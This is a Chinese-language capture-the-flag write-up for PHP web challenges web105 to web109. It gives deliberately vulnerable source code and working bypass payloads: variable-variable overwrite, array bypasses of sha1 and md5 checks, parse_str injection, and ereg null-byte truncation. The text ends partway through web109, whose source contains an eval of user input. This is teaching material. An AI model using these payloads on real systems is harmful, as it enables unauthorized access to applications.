目录
web105
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07
*/
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
你还想要flag嘛?
hint中的解法
GET:?suces=flag POST:error=suces
首先一段一段的看代码
第一段
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}
说的是,我们GET传参,传入的值不能为error
第二段
foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
post传入参数,传入的值不能为flag
第三段
if(!($_POST['flag']==$flag)){
die($error);
}
POST传入的值不为变量flag,则输出变量error
GET:?a=flag
POST:error=a
先将flag的值赋给a,然后再赋值给error,利用die()函数输出
web106
<?php
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27
*/
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
数组绕过就可
GET:?v2[]=1
POST:v1[]=2
web107
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str()函数
parse_str(string,array)
把查询字符串解析到变量中。
string必选。规定要解析的字符串
array可选。规定存储变量的数组的名称。
很明显,题目要将v1的值赋给v2,然后v3的md5等于v2输出flag
payload:
GET:?v3=a //a可以为任意字符
POST:v1=flag=0cc175b9c0f1b6a831c399e269772661 //a的md5值
md5无法解析数组
GET:?v3[]=1
POST:v1="flag=0"
web108
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55
*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg函数为匹配函数
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
GET参数c要只能为字母,否则die函数
函数在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
后一段
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
strrev函数
函数反转字符串
正常的话,想要形成的
877%00a
再进行反转,a正好匹配了ereg函数
a%00778
web109
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?><